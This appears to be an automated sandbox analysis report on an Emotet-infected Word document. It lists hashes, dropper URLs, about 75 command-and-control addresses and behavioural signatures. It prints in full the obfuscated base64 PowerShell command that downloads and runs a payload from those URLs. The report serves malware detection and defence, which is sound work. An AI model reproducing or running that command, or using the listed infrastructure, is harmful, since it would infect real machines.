Analysis
- max time kernel
146s - max time network
135s - platform
windows10_x64 - resource
win10v200722 - submitted
14/08/2020, 22:10
Static task
static1
Behavioral task
behavioral1
Sample
emotet_e3_2ae0fb0ffcfdb106a9a9f0e5ca0e092207da05903f4126376ad7f2e153491abb_2020-08-14__220844._doc.doc
Resource
win7
General
- Target emotet_e3_2ae0fb0ffcfdb106a9a9f0e5ca0e092207da05903f4126376ad7f2e153491abb_2020-08-14__220844._doc.doc
- Size 231KB
- Sample200814-wrdr34d91j
- SHA256 2ae0fb0ffcfdb106a9a9f0e5ca0e092207da05903f4126376ad7f2e153491abb
- MD5 57a7fdfef39f625da73a896780535e34
- SHA1 1885098c249480c143f0bde691ecd78af32fcb36
- SHA512 a24abd940ad5e6504f8f360c6e52611851aebce5c6ec0f5bd6f52cfda630ff0256640154e649ab7dc351fdc1f57e591919ca3c69c54a0350061fcc5961ecd9e0
- MD5 SHA1 SHA512
Malware Config
Extracted
-
ps1
-
exe.dropper
http://kndesign.com.br/wwvv2/wPxxj0v53027676/
-
exe.dropper
http://load.studio/wp-admin/fqmCvt/
-
exe.dropper
http://melangefresh.com/partner/9lg91006/
-
exe.dropper
http://cengizgulec.com/wp-admin/wmZHHHARm/
-
exe.dropper
http://www.skydiarynepal.org/wp-admin/HWGaf/
Extracted
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emotet
-
71.57.180.213:80
-
185.86.148.68:443
-
168.235.82.183:8080
-
181.113.229.139:443
-
181.134.9.162:80
-
217.199.160.224:8080
-
105.209.235.113:8080
-
216.75.37.196:8080
-
97.104.107.190:80
-
203.153.216.182:7080
-
107.161.30.122:8080
-
41.106.96.12:80
-
202.5.47.71:80
-
201.235.10.215:80
-
105.213.67.88:80
-
115.79.195.246:80
-
179.5.118.12:80
-
212.112.113.235:80
-
139.59.12.63:8080
-
177.37.81.212:443
-
81.17.93.134:80
-
46.32.229.152:8080
-
66.61.94.36:80
-
172.96.190.154:8080
-
176.9.93.82:7080
-
5.79.70.250:8080
-
190.212.140.6:80
-
37.46.129.215:8080
-
115.165.3.213:80
-
201.213.177.139:80
-
187.64.128.197:80
-
92.24.51.238:80
-
185.208.226.142:8080
-
50.116.78.109:8080
-
46.105.131.68:8080
-
181.114.114.203:80
-
190.190.15.20:80
-
198.57.203.63:8080
-
188.251.213.180:443
-
185.142.236.163:443
-
182.176.95.147:80
-
143.95.101.72:8080
-
181.164.110.7:80
-
113.161.148.81:80
-
51.38.201.19:7080
-
31.146.61.34:80
-
75.139.38.211:80
-
157.7.164.178:8081
-
203.153.216.178:7080
-
212.156.133.218:80
-
81.214.253.80:443
-
87.106.231.60:8080
-
190.164.75.175:80
-
77.74.78.80:443
-
179.62.238.49:80
-
78.189.60.109:443
-
177.32.8.85:80
-
195.201.56.70:8080
-
190.53.144.120:80
-
75.127.14.170:8080
-
177.144.130.105:443
-
178.33.167.120:8080
-
192.210.217.94:8080
-
192.241.220.183:8080
-
188.0.135.237:80
-
74.208.173.91:8080
-
182.187.139.200:8080
-
172.105.78.244:8080
-
41.185.29.128:8080
-
197.83.232.19:80
-
87.252.100.28:80
-
115.78.11.155:80
-
192.163.221.191:8080
-
91.83.93.103:443
-
139.99.157.213:8080
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3692 1176 powersheLL.exe 67 - Emotet Payload 4 IoCs
Detects Emotet payload in memory.
resource yara_rule behavioral2/memory/3520-14-0x0000000002320000-0x000000000232C000-memory.dmp emotet behavioral2/memory/3520-14-0x0000000002320000-0x000000000232C000-memory.dmp emotet behavioral2/memory/2132-17-0x00000000022A0000-0x00000000022AC000-memory.dmp emotet behavioral2/memory/2132-17-0x00000000022A0000-0x00000000022AC000-memory.dmp emotet - Blacklisted process makes network request 1 IoCs
flow pid Process 21 3692 powersheLL.exe - Executes dropped EXE 2 IoCs
pid Process 3520 Mgob.exe 2132 mcbuilder.exe - Drops file in System32 directory 1 IoCs
description ioc Process File opened for modification C:\Windows\SysWOW64\KBDAZST\mcbuilder.exe Mgob.exe - Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE - Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE - Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 508 WINWORD.EXE 508 WINWORD.EXE - Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 3692 powersheLL.exe 3692 powersheLL.exe 3692 powersheLL.exe 2132 mcbuilder.exe 2132 mcbuilder.exe 2132 mcbuilder.exe 2132 mcbuilder.exe - Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 3692 powersheLL.exe - Suspicious use of SetWindowsHookEx 15 IoCs
pid Process 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 508 WINWORD.EXE 3520 Mgob.exe 3520 Mgob.exe 2132 mcbuilder.exe 2132 mcbuilder.exe - Suspicious use of WriteProcessMemory 6 IoCs
description pid Process procid_target PID 3692 wrote to memory of 3520 3692 powersheLL.exe 77 PID 3692 wrote to memory of 3520 3692 powersheLL.exe 77 PID 3692 wrote to memory of 3520 3692 powersheLL.exe 77 PID 3520 wrote to memory of 2132 3520 Mgob.exe 78 PID 3520 wrote to memory of 2132 3520 Mgob.exe 78 PID 3520 wrote to memory of 2132 3520 Mgob.exe 78
Processes
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C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_2ae0fb0ffcfdb106a9a9f0e5ca0e092207da05903f4126376ad7f2e153491abb_2020-08-14__220844._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:508
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exepowersheLL -e JABSAGMAdgB3AGYAbQBmAD0AJwBZAHoAagB5ADgAbQBuACcAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAZQBjAFUAUgBpAHQAWQBwAFIATwBgAFQATwBgAGMAYABPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABVAGUAagBzAF8AOAAwACAAPQAgACcATQBnAG8AYgAnADsAJABGAGkAegBvAG4AYQBoAD0AJwBVAG4AOQBpAHEAbAByACcAOwAkAEIAaABkAGgANAA1AGoAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABVAGUAagBzAF8AOAAwACsAJwAuAGUAeABlACcAOwAkAFUAeQBsADEAYgAwAGkAPQAnAFAAdwBjAHEAMwAzAGkAJwA7ACQAVwB0AGEAZQB2AGwAcAA9AC4AKAAnAG4AZQB3AC0AbwAnACsAJwBiACcAKwAnAGoAZQBjAHQAJwApACAAbgBlAHQALgBXAEUAYgBDAEwAaQBlAE4AdAA7ACQARgB4AF8AMAAxAGEANgA9ACcAaAB0AHQAcAA6AC8ALwBrAG4AZABlAHMAaQBnAG4ALgBjAG8AbQAuAGIAcgAvAHcAdwB2AHYAMgAvAHcAUAB4AHgAagAwAHYANQAzADAAMgA3ADYANwA2AC8AKgBoAHQAdABwADoALwAvAGwAbwBhAGQALgBzAHQAdQBkAGkAbwAvAHcAcAAtAGEAZABtAGkAbgAvAGYAcQBtAEMAdgB0AC8AKgBoAHQAdABwADoALwAvAG0AZQBsAGEAbgBnAGUAZgByAGUAcwBoAC4AYwBvAG0ALwBwAGEAcgB0AG4AZQByAC8AOQBsAGcAOQAxADAAMAA2AC8AKgBoAHQAdABwADoALwAvAGMAZQBuAGcAaQB6AGcAdQBsAGUAYwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdwBtAFoASABIAEgAQQBSAG0ALwAqAGgAdAB0AHAAOgAvAC8AdwB3AHcALgBzAGsAeQBkAGkAYQByAHkAbgBlAHAAYQBsAC4AbwByAGcALwB3AHAALQBhAGQAbQBpAG4ALwBIAFcARwBhAGYALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFcAdgBsAHEAbwBnAGoAPQAnAEUAdgBuAHYAMgBhAGgAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEUAbwA1AGYAZgBuAGoAIABpAG4AIAAkAEYAeABfADAAMQBhADYAKQB7AHQAcgB5AHsAJABXAHQAYQBlAHYAbABwAC4AIgBEAG8AVwBOAGwATwBgAEEARABmAEkAYABsAEUAIgAoACQARQBvADUAZgBmAG4AagAsACAAJABCAGgAZABoADQANQBqACkAOwAkAFcAawB6AHcAaQBuAG0APQAnAFoAdgA1ADMAMAAyADUAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtAEkAJwArACcAdABlAG0AJwApACAAJABCAGgAZABoADQANQBqACkALgAiAGwAZQBOAGAARwBgAFQAaAAiACAALQBnAGUAIAAyADAAMgAxADgAKQAgAHsALgAoACcASQAnACsAJwBuAHYAbwBrAGUALQBJACcAKwAnAHQAZQBtACcAKQAoACQAQgBoAGQAaAA0ADUAagApADsAJABNAG8ANwBfAGIAegB3AD0AJwBFAHUAcgB3AHkAbgB1ACcAOwBiAHIAZQBhAGsAOwAkAEwAdwByAGMAeABpAHMAPQAnAEIAcQA0AG4AcgBnAHAAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQASgByAGoAeABtAHcANAA9ACcAQwBoAGIANQA3AHgAbAAnAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3692 -
C:\Users\Admin\AppData\Local\Temp\Mgob.exe"C:\Users\Admin\AppData\Local\Temp\Mgob.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\SysWOW64\KBDAZST\mcbuilder.exe"C:\Windows\SysWOW64\KBDAZST\mcbuilder.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
PID:2132
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